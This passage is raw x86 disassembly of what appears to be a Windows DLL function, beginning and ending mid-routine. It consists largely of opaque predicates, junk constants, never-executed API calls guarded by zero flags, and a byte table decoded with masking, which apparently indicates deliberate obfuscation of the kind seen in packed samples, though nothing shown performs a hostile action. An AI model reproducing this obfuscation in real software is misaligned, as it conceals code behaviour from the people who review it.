call fcn.1000c0cd
mov eax, dword [eax]
mov dword [ebp - 0x230], eax
mov esi, dword [ebp - 0x230]
push dword [ebp - 0x30]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
cmp esi, dword [eax]
jge 0x1001ac67
mov dword [ebp - 0x91c], 1
jmp 0x1001ac6e
and dword [ebp - 0x91c], 0
push dword [ebp - 0x30]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x91c]
add ecx, dword [eax]
jne 0x1001ac98
mov eax, 0xf3c076a5
test eax, eax
jne 0x1001ac98
and dword [ebp - 0x4b4], 0
jmp 0x1001aca2
mov dword [ebp - 0x4b4], 1
push 1
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x4b4]
cmp ecx, dword [eax]
jl 0x1001acc5
mov dword [ebp - 0xab8], 1
jmp 0x1001accc
and dword [ebp - 0xab8], 0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xe64], eax
mov esi, dword [ebp - 0x15c]
push dword [ebp - 0x94]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
cmp dword [eax], esi
jg 0x1001acff
mov dword [ebp - 0x6f4], 1
jmp 0x1001ad06
and dword [ebp - 0x6f4], 0
imul eax, dword [ebp - 0x6f4], 0xe97e
cmp eax, dword [ebp - 0x15c]
je 0x1001ad24
mov dword [ebp - 0x4bc], 1
jmp 0x1001ad2b
and dword [ebp - 0x4bc], 0
mov esi, dword [ebp - 0x15c]
add esi, dword [ebp - 0x4bc]
push dword [ebp - 0x30]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
cmp esi, dword [eax]
jle 0x1001ad55
mov dword [ebp - 0x814], 1
jmp 0x1001ad5c
and dword [ebp - 0x814], 0
push dword [ebp - 0x30]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x814]
cmp ecx, dword [eax]
jl 0x1001ad80
mov dword [ebp - 0x4c4], 1
jmp 0x1001ad87
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0xe0]
mov esi, dword [ebp - 0x15c]
push 0
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
cmp dword [eax], esi
jg 0x1001adb0
mov dword [ebp - 0x6fc], 1
jmp 0x1001adb7
and dword [ebp - 0x6fc], 0
mov esi, dword [ebp - 0xac0]
push dword [ebp - 0x30]
lea ecx, [ebp - 0x358]
call fcn.1000c0cd
mov eax, dword [ebp - 0xac8]
add eax, 0x86b2
jne 0x1001adea
cmp dword [ebp - 0xad0], 0
jne 0x1001adea
and dword [ebp - 0x8a4], 0
jmp 0x1001adf4
mov dword [ebp - 0x8a4], 1
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x8a4]
jne 0x1001ae0e
mov dword [ebp - 0x4d4], 1
jmp 0x1001ae15
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0xad8], eax
jmp 0x1001abb2
jmp 0x1001ab5b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x358]
call fcn.1000c0b1
mov dword [ebp - 0xae0], 0x1ba3
cmp dword [ebp - 0xae0], 0x75b
jge 0x1001aec2
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x704]
push eax
push 0x10007b40
call fcn.1004bba6
add esp, 0xc
cmp dword [ebp - 0x704], 1
jne 0x1001ae81
push 0x10007b4c
call fcn.1004c01b
pop ecx
jmp 0x1001aec2
mov eax, dword [ebp - 0x704]
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp - 0x3b8], eax
jg 0x1001aea3
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x4dc], eax
jmp 0x1001aeb0
mov eax, dword [ebp - 0x3b8]
dec eax
mov dword [ebp - 0x4dc], eax
push dword [ebp - 0x4dc]
push 0x100078f8
call fcn.1004bc81
pop ecx
pop ecx
cmp dword [0x1060c918], 0
jne 0x1001e2aa
mov dword [ebp - 0xae8], 0x37d8
lea eax, [ebp - 0xae8]
push eax
call fcn.10014953
pop ecx
mov dword [ebp - 0x6b4], eax
push 1
lea ecx, [ebp - 0xc28]
call fcn.1000c02f
mov dword [ebp - 4], 0xc
push 4
lea ecx, [ebp - 0x948]
call fcn.1000c02f
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x84], 0
jmp 0x1001af2a
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1001af4c
push dword [ebp - 0x84]
lea ecx, [ebp - 0xc28]
call fcn.1000c0cd
mov dword [eax], 4
jmp 0x1001af1d
mov dword [ebp - 0x84], 0
jmp 0x1001af65
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x1001af87
push dword [ebp - 0x84]
lea ecx, [ebp - 0x948]
call fcn.1000c0cd
mov dword [eax], 2
jmp 0x1001af58
mov byte [ebp - 0xcc], 0
movzx eax, byte [ebp - 0xcc]
test eax, eax
je 0x1001afb5
push 1
push 0x1fa9
push 0x789
push 0x24f6
push 0xca9
call dword [sym.imp.USER32.dll_SetScrollRange]
push 3
lea ecx, [ebp - 0x948]
call fcn.1000c0cd
and dword [eax], 0
jmp 0x1001afeb
push 3
lea ecx, [ebp - 0x948]
call fcn.1000c0cd
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x81c]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0x948]
call fcn.1000c0cd
cmp dword [eax], 0
jl 0x1001b020
push 3
lea ecx, [ebp - 0x948]
call fcn.1000c0cd
push dword [eax]
lea ecx, [ebp - 0xc28]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001b01e
jmp 0x1001b020
jmp 0x1001afc7
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x948]
call fcn.1000c0b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc28]
call fcn.1000c0b1
mov dword [ebp - 0x238], 0x7822e6e7
mov dword [ebp - 0x20], 0xf30cc2fd
mov dword [ebp - 0x2d4], 0xffffffff
mov dword [ebp - 0x150], 0xf49c23ed
mov dword [ebp - 0x4fc], 0xfffffffa
mov dword [ebp - 0xa1c], 0xfffffffd
mov dword [ebp - 0x2cc], 0
jmp 0x1001b090
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 1
jge 0x1001b0ac
mov eax, dword [ebp - 0x2cc]
mov dword [ebp + eax*4 - 0xa94], 9
jmp 0x1001b083
cmp dword [ebp - 0x20], 0
jne 0x1001b152
cmp dword [ebp - 0x20], 0
jne 0x1001b0ce
cmp dword [ebp - 0x238], 0
jne 0x1001b0ce
and dword [ebp - 0xaf0], 0
jmp 0x1001b0d8
mov dword [ebp - 0xaf0], 1
cmp dword [ebp - 0x20], 0
jne 0x1001b0e7
cmp dword [ebp - 0x238], 0
je 0x1001b0f9
cmp dword [ebp - 0x20], 0
je 0x1001b0f9
mov dword [ebp - 0xb3c], 1
jmp 0x1001b100
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jle 0x1001b114
mov dword [ebp - 0x4e4], 1
jmp 0x1001b11b
and dword [ebp - 0x4e4], 0
imul eax, dword [ebp - 0x4e4], 3
cmp eax, dword [ebp - 0x238]
jg 0x1001b136
mov dword [ebp - 0x70c], 1
jmp 0x1001b13d
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0
je 0x1001b167
cmp dword [ebp - 0x2d4], 0
je 0x1001b167
mov dword [ebp - 0x4ec], 1
jmp 0x1001b16e
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0x4ec]
jge 0x1001b188
mov dword [ebp - 0x8ec], 1
jmp 0x1001b18f
and dword [ebp - 0x8ec], 0
cmp dword [ebp - 0x8ec], 0
jge 0x1001b1aa
cmp dword [ebp - 0x2d4], 0
jne 0x1001b1aa
and dword [ebp - 0x4f4], 0
jmp 0x1001b1b4
mov dword [ebp - 0x4f4], 1
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x20]
jle 0x1001b1d7
mov dword [ebp - 0x714], 1
jmp 0x1001b1de
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x714]
mov dword [ebp - 0x4fc], eax
mov eax, dword [ebp - 0x4fc]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0x20], 0
jmp 0x1001b209
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x1001b244
mov dword [ebp - 0x150], 0
jmp 0x1001b228
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jg 0x1001b242
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xa94], 0
je 0x1001b240
jmp 0x1001b242
jmp 0x1001b21b
jmp 0x1001b202
mov dword [ebp - 0x9e0], 0x94f37831
mov dword [ebp - 0x240], 0
jmp 0x1001b267
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 3
jge 0x1001b283
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0xec4], 0xf572
jmp 0x1001b25a
mov byte [ebp - 0xce], 0
movzx eax, byte [ebp - 0xce]
test eax, eax
je 0x1001b2a9
push 0
push 0x1da7
push 0x250e
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xec4]
mov dword [ebp - 0x9e0], eax
mov byte [ebp - 0x1c8], 0xc
mov byte [ebp - 0x1c7], 0xda
mov byte [ebp - 0x1c6], 3
mov byte [ebp - 0x1c5], 1
mov byte [ebp - 0x1c4], 4
mov byte [ebp - 0x1c3], 0x33
mov byte [ebp - 0x1c2], 2
mov byte [ebp - 0x1c1], 0x11
mov byte [ebp - 0x1c0], 9
mov byte [ebp - 0x1bf], 0x1a
mov byte [ebp - 0x1be], 5
mov byte [ebp - 0x1bd], 0x1c
mov byte [ebp - 0x1bc], 1
mov byte [ebp - 0x1bb], 0x17
mov byte [ebp - 0x1ba], 6
mov byte [ebp - 0x1b9], 0x16
mov byte [ebp - 0x1b8], 0xb
mov byte [ebp - 0x1b7], 0xb
mov byte [ebp - 0x1b6], 0
mov byte [ebp - 0x1b5], 0x3f
mov byte [ebp - 0x1b4], 8
mov byte [ebp - 0x1b3], 0x28
mov byte [ebp - 0x1b2], 0xa
mov byte [ebp - 0x1b1], 0x2a
mov byte [ebp - 0x1b0], 7
mov byte [ebp - 0x1af], 0x2c
mov byte [ebp - 0x1ae], 4
mov byte [ebp - 0x1ad], 0x3c
mov byte [ebp - 0x1ac], 0x35
mov byte [ebp - 0x1ab], 0x93
mov byte [ebp - 0x1aa], 0x58
mov dword [ebp - 0x2dc], 0x91a049fe
mov dword [ebp - 0xe8], 0x70a3267e
mov dword [ebp - 0x2dc], 0xfffffffa
jmp 0x1001b3c1
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0xffffffed
je 0x1001b5f3
push 1
lea ecx, [ebp - 0xb10]
call fcn.1000c02f
mov dword [ebp - 4], 0xe
mov dword [ebp - 0xb0], 0x768c0aa3
mov dword [ebp - 0x974], 0x4edf0ebf
mov dword [ebp - 0x248], 0
jmp 0x1001b40f
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 1
jge 0x1001b431
push dword [ebp - 0x248]
lea ecx, [ebp - 0xb10]
call fcn.1000c0cd
mov dword [eax], 0x124f
jmp 0x1001b402
mov dword [ebp - 0xb0], 0
jmp 0x1001b44a
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x1001b5df
mov dword [ebp - 0x2e4], 0
jmp 0x1001b470
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 2
jge 0x1001b48c
mov eax, dword [ebp - 0x2e4]
mov dword [ebp + eax*4 - 0xbbc], 0x54207647
jmp 0x1001b463
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xb10]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001b4b7
cmp dword [ebp - 0xb0], 0
je 0x1001b4b7
mov dword [ebp - 0x824], 1
jmp 0x1001b4be
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x504], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x504]
mov dword [ebp + eax - 0xbbc], ecx
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xb10]
call fcn.1000c0cd
mov eax, dword [eax]
inc eax
cmp eax, dword [ebp - 0x504]
jl 0x1001b511
mov dword [ebp - 0x71c], 1
jmp 0x1001b518
and dword [ebp - 0x71c], 0
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xb10]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x71c]
cmp ecx, dword [eax]
jge 0x1001b556
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x1001b554
push 0
push 0
push 0x1c41
call dword [sym.imp.USER32.dll_SetPropA]
jmp 0x1001b5b6
mov eax, dword [ebp - 0xe8]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xbbc], eax
mov dword [ebp - 0xe8], 0
jmp 0x1001b582
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jg 0x1001b5b6
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x1001b5aa
push 0xfce
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 0x974], 0x509e71b3
jmp 0x1001b575
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x1001b5da
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x1001b43d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb10]
call fcn.1000c0b1
jmp 0x1001b3b4
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
and eax, 0x8d
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c8]
or ecx, 0x8d
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
mov byte [ebp + eax - 0x964], cl
push 3
lea ecx, [ebp - 0xc40]
call fcn.1000c02f
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x16c], 0xffffffff
mov dword [ebp - 0xd80], 0x1e19
mov dword [ebp - 0x250], 0
jmp 0x1001b672
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 3
jge 0x1001b694
push dword [ebp - 0x250]
lea ecx, [ebp - 0xc40]
call fcn.1000c0cd
mov dword [eax], 0xdc85f70a
jmp 0x1001b665
mov dword [ebp - 0x16c], 2
jmp 0x1001b6ad
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jl 0x1001b811
mov dword [ebp - 0x2ec], 0xb8c3ad3b
mov dword [ebp - 0x2ec], 2
jmp 0x1001b6dd
mov eax, dword [ebp - 0x2ec]
dec eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0
jl 0x1001b7f1
mov dword [ebp - 0x260], 0x697e780c
mov dword [ebp - 0x258], 0
jmp 0x1001b70d
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x1001b729
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x2f4], 0x962ee6d0
jmp 0x1001b700
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2f4], 2
jmp 0x1001b757
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2f4], 0
jl 0x1001b78e
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x1001b78c
push 0
push 0
push 0x125
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
jmp 0x1001b73c
mov dword [ebp - 0x260], 0
jmp 0x1001b7a7
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 2
jg 0x1001b7ec
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x1001b7d2
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x1001b7ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001b79a
jmp 0x1001b6d0
push dword [ebp - 0x16c]
lea ecx, [ebp - 0xc40]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001b80c
jmp 0x1001b6a0
jmp 0x1001b6a0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc40]
call fcn.1000c0b1
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x1a4], 0
jmp 0x1001b838
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1f
jae 0x1001c2a3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1001c0ed
mov dword [ebp - 0x1a0], 1
mov dword [ebp - 0x110], 0x3c89
mov dword [ebp - 0x97c], 0x20b963ab
mov dword [ebp - 0x984], 0xffffffff
mov dword [ebp - 0xe34], 0x32afcb06
mov dword [ebp - 0x72c], 0xffffffff
mov dword [ebp - 0xce4], 0x5dc8
mov dword [ebp - 0xce0], 0x5dc8
mov dword [ebp - 0xcdc], 0x5dc8
mov dword [ebp - 0xcd8], 0x5dc8
mov dword [ebp - 0x2fc], 0
jmp 0x1001b8da
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 4
jge 0x1001b8f6
mov eax, dword [ebp - 0x2fc]
mov dword [ebp + eax*4 - 0xf0c], 0
jmp 0x1001b8cd
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x1a0]
cmp eax, 0xe32cf415
jbe 0x1001b915
mov dword [ebp - 0x50c], 1
jmp 0x1001b91c
and dword [ebp - 0x50c], 0
cmp dword [ebp - 0x50c], 0xe6f7fbf2
jne 0x1001b934
mov dword [ebp - 0xaf4], 1
jmp 0x1001b93b
and dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xe80], eax
cmp dword [ebp - 0x1a0], 1
jg 0x1001b968
mov dword [ebp - 0x8ac], 1
jmp 0x1001b96f
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x97c], eax
mov eax, dword [ebp - 0x72c]
sub eax, 4
jne 0x1001b998
cmp dword [ebp - 0x1a0], 0
jne 0x1001b998
and dword [ebp - 0x514], 0
jmp 0x1001b9a2
mov dword [ebp - 0x514], 1
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x514], eax
jge 0x1001b9bc
mov dword [ebp - 0xa9c], 1
jmp 0x1001b9c3
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xd98], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xe3c], eax
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x724], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x724]
mov dword [ebp + eax - 0xce4], ecx
cmp dword [ebp - 0x724], 9
je 0x1001ba0e
mov dword [ebp - 0x51c], 1
jmp 0x1001ba15
and dword [ebp - 0x51c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1a0]
add ecx, dword [ebp - 0x51c]
add ecx, dword [ebp + eax - 0xf0c]
cmp ecx, dword [ebp - 0x110]
jle 0x1001ba42
mov dword [ebp - 0x82c], 1
jmp 0x1001ba49
and dword [ebp - 0x82c], 0
cmp dword [ebp - 0x82c], 0
jl 0x1001ba5e
mov dword [ebp - 0x524], 1
jmp 0x1001ba65
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x524]
add eax, 0x2b46fac5
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x1c8]
inc eax
mov dword [ebp - 0x1a4], eax
push 2
lea ecx, [ebp - 0x1d4]
call fcn.1000c02f
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x53c], 0xffffffff
mov dword [ebp - 0x744], 0
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x134], 0x928f0bd9
mov dword [ebp - 0xaa4], 8
mov dword [ebp - 0xa4], 0
jmp 0x1001bae7
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x1001bb03
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x418], 0xa4a9bdba
jmp 0x1001bada
mov dword [ebp - 0xa4], 0
jmp 0x1001bb1c
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x1001bb3e
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov dword [eax], 0xa2afe01b
jmp 0x1001bb0f
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov dword [eax], 2
jmp 0x1001bb77
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov dword [ebp - 0x52c], eax
mov eax, dword [ebp - 0x52c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x52c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
cmp dword [eax], 0
jl 0x1001bdf5
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0x418]
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x418], esi
jne 0x1001bbc7
mov dword [ebp - 0x928], 1
jmp 0x1001bbce
and dword [ebp - 0x928], 0
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov ecx, dword [ebp - 0x928]
sub ecx, 0x128f3b8d
cmp ecx, dword [ebp + eax*4 - 0x418]
jg 0x1001bc07
mov eax, 0xb3659ea4
test eax, eax
je 0x1001bc07
mov dword [ebp - 0xb18], 1
jmp 0x1001bc0e
and dword [ebp - 0xb18], 0
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0x418]
push 1
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
cmp dword [eax], esi
jge 0x1001bc4e
mov dword [ebp - 0x534], 1
jmp 0x1001bc55
and dword [ebp - 0x534], 0
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x418]
cmp eax, dword [ebp - 0x534]
jne 0x1001bc7f
mov dword [ebp - 0x734], 1
jmp 0x1001bc86
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x53c], eax
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov ecx, dword [ebp - 0x53c]
cmp ecx, dword [ebp + eax*4 - 0x418]
jg 0x1001bccc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x418], 0
je 0x1001bccc
mov dword [ebp - 0x834], 1
jmp 0x1001bcd3
and dword [ebp - 0x834], 0
cmp dword [ebp - 0x834], 0xfffffffe
jae 0x1001bce8
mov dword [ebp - 0x98c], 1
jmp 0x1001bcef
and dword [ebp - 0x98c], 0
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
push 0xfffffffffffffff8
pop eax
cmp eax, 0x4433ac25
jae 0x1001bd12
mov dword [ebp - 0x544], 1
jmp 0x1001bd19
and dword [ebp - 0x544], 0
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x418]
cmp eax, dword [ebp - 0x544]
je 0x1001bd43
mov dword [ebp - 0x73c], 1
jmp 0x1001bd4a
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x744], eax
push 0
lea ecx, [ebp - 0x1d4]
call fcn.1000c0cd
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x418]
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jne 0x1001bd93
mov dword [ebp - 0x8b4], 1
jmp 0x1001bd9a
and dword [ebp - 0x8b4], 0
cmp dword [ebp - 0x8b4], 9
jae 0x1001bdaf
mov dword [ebp - 0x554], 1
jmp 0x1001bdb6
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0xaa4], eax
mov dword [ebp - 0x134], 0
jmp 0x1001bddb
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 2
jg 0x1001bdf0
mov dword [ebp - 0x744], 0x7557bc77
jmp 0x1001bdce
jmp 0x1001bb53
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d4]
call fcn.1000c0b1
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x1c8]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
push 2
lea ecx, [ebp - 0x1e0]
call fcn.1000c02f
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0xb04], 0x61718bc6
mov dword [ebp - 0xda4], 0xfffffff7
push 3
lea ecx, [ebp - 0xdf0]
call fcn.1000c02f
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x844], 0xf41af53c
mov dword [ebp - 0x68], 0
jmp 0x1001be80
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1001be9c
push dword [ebp - 0x68]
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov dword [eax], 0xcce57bf5
jmp 0x1001be79
mov dword [ebp - 0x68], 0
jmp 0x1001beac
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x1001bec8
push dword [ebp - 0x68]
lea ecx, [ebp - 0xdf0]
call fcn.1000c0cd
mov dword [eax], 0xa84a
jmp 0x1001bea5
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001c0a1
push 0
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov esi, eax
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov eax, dword [eax]
cmp eax, dword [esi]
jge 0x1001bf0c
mov dword [ebp - 0x754], 1
jmp 0x1001bf13
and dword [ebp - 0x754], 0
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov esi, eax
push 0
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x1001bf4e
mov dword [ebp - 0x55c], 1
jmp 0x1001bf55
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x83c], eax
mov esi, dword [ebp - 0x83c]
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
cmp esi, dword [eax]
je 0x1001bf84
mov dword [ebp - 0x564], 1
jmp 0x1001bf8b
and dword [ebp - 0x564], 0
push 0
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x564]
cmp ecx, dword [eax]
jle 0x1001bfae
mov dword [ebp - 0x74c], 1
jmp 0x1001bfb5
and dword [ebp - 0x74c], 0
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov esi, dword [ebp - 0x74c]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
